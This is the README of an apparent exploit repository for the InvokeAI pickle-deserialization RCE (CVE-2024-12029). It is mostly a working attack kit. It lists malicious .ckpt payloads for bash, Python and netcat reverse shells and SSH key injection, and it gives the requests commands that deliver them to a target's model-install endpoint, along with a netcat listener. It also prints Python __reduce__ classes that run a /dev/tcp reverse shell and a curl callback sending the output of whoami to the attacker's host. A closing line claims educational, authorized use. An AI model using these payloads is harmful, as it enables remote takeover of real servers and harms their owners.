
This repository contains alternative payload approaches for the InvokeAI RCE vulnerability (CVE-2024-12029) when SSH key injection fails. The payloads are designed to test if pickle deserialization is actually occurring and provide alternative access methods.
This repository contains alternative payload approaches for the InvokeAI RCE vulnerability (CVE-2024-12029) when SSH key injection fails. The payloads are designed to test if pickle deserialization is actually occurring and provide alternative access methods.
When SSH key injection payloads are delivered successfully (Status 201) but SSH access still requires password, it indicates either:
payload_reverse_bash.ckpt (89 bytes) - Bash reverse shellpayload_reverse_python.ckpt (267 bytes) - Python reverse shellpayload_reverse_nc.ckpt (70 bytes) - Netcat reverse shellpayload_callback_test.ckpt (115 bytes) - HTTP callback to verify deserializationpayload_test.ckpt (90 bytes) - Simple file creation testpayload_alt_exec.ckpt (223 bytes) - Alternative execution methodpayload_ssh_simple.ckpt (271 bytes) - Linux-compatible SSH key injectionkali_reverse_test.py - Comprehensive test suitereverse_shell_payload.py - Generate reverse shell payloadspython web_server.py --port 8000
# Copy kali_reverse_test.py to Kali and run:
python3 kali_reverse_test.py
# Choose option 1 to test callback
# Start listener on Kali:
nc -lvnp 4444
# Send reverse shell payload:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_reverse_bash.ckpt', 'inplace': 'true'}, json={})"
# Test basic command execution:
python3 -c "import requests; requests.post('http://192.168.117.218:9090/api/v2/models/install', params={'source': 'http://192.168.45.168:8000/payload_test.ckpt', 'inplace': 'true'}, json={})"
# Verify file creation:
ssh [email protected] 'cat /tmp/payload_test.txt'
/tmp/payload_test.txt on targetclass CallbackTestPayload:
def __reduce__(self):
import os
command = 'curl "http://192.168.45.168:8000/callback?success=1&user=$(whoami)"'
return (os.system, (command,))
class ReverseShellPayload:
def __reduce__(self):
import os
command = f'bash -c "bash -i >& /dev/tcp/192.168.45.168/4444 0>&1"'
return (os.system, (command,))
class TestPayload:
def __reduce__(self):
import os
return (os.system, ('echo "PAYLOAD_EXECUTED_$(date)" > /tmp/payload_test.txt',))
torch.load() vulnerabilityThis repository is for educational and authorized security testing purposes only. Users are responsible for ensuring they have proper authorization before testing any systems.